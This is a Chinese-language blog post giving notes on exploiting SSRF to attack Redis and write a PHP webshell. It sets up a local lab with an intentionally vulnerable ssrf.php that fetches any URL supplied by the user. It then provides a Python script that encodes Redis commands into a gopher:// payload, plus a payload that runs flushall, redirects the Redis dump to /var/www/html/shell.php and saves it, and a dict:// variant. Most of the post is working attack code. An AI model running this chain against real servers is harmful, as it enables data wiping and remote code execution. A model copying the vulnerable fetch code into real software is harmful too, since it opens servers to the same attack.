R1gelX`Blog

22 object(s)
 

利用SSRF打Redis写webshell

这里写一下打redis的笔记


环境搭建

这里使用的是WSL2+Nginx+PHP+Redis

首先安装Nginx PHP Redis 安装过程不多说 全是apt
打redis能做什么,redis本身能做的事儿都可以通过构造payload去实现

Nginx配置文件

先看php

1.启动php

php-fpm

2.查看fpm监听方式

netstat -an | grep php
unix  2      [ ACC ]     STREAM     LISTENING     27670    /tmp/php-cgi-74.sock

3.修改配置文件

/etc/nginx/nginx.conf 可以看到包含了其他的conf文件

来到 /etc/nginx/site-enable/default

修改这一段

        location ~ \.php$ {
                include snippets/fastcgi-php.conf;

                # With php-fpm (or other unix sockets):
                fastcgi_pass unix:/tmp/php-cgi-74.sock;
                # With php-cgi (or other tcp sockets):
                #fastcgi_pass 127.0.0.1:9000;
        }

创建web根目录

启动/重启nginx

service nginx restart

SSRF环境

最好先写个phpinfo测试一下是否正常工作

写 ssrf.php

<?php
$url=$_GET['url'];
$ch = curl_init();
curl_setopt($ch, CURLOPT_URL, $url);
curl_setopt($ch, CURLOPT_HEADER, 0);
curl_exec($ch);
curl_close($ch);
?>

访问redis服务

测试 127.0.0.1/ssrf.php?url=dict://127.0.0.1:6379

返回如下 说明redis服务存在且正在运行

image-20210721232248615

gopher协议打redis

exp

#!/bin/python2
import urllib

HOST = "127.0.0.1"
PORT = "6379"

def ord2hex(string):
    return '%'+'%02x' % (ord(string))
    
exp = "gopher://%s:%s/_" % (HOST, PORT)

for line in open("payload.txt", "r"):
    word = ""
    str_flag = False
    redis_resps = []
    for char in line:
        if str_flag == True:
            if char == '"' or char == "'":
                str_flag = False
                if word != "":
                    redis_resps.append(word)
                word = ""
            else:
                word += char
        elif word == "" and (char == '"' or char == "'"):
            str_flag = True
        else:
            if char == " ":
                if word != "":
                    redis_resps.append(word)
                word = ""
            elif char == "\n":
                if word != "":
                    redis_resps.append(word)
                word = ""
            else:
                word += char
    #print redis_resps
    tmp_line = '*' + str(len(redis_resps)) + '\r\n'
    for word in redis_resps:
        tmp_line += '$' + str(len(word)) + '\r\n' + word + '\r\n'
    exp += "".join([ord2hex(i) for i in tmp_line])

print exp

payload

flushall
config set dir /var/www/html
config set dbfilename shell.php
set 'webshell' '<?php phpinfo();?>'
save

redis端执行payload后会有

250:M 21 Jul 2021 23:27:59.456 * DB saved on disk

然后去查看

image-20210721232946707

成功写入

dict:// 协议打

payload与上述一致 只不过把payload分段发

例如 http://127.0.0.1/ssrf.php?ulr=dict://127.0.0.1:6379/flushall(清除无用数据)

http://127.0.0.1/ssrf.php?url=dict://127.0.0.1:6379/config:set:dir:/var/www/html

以此类推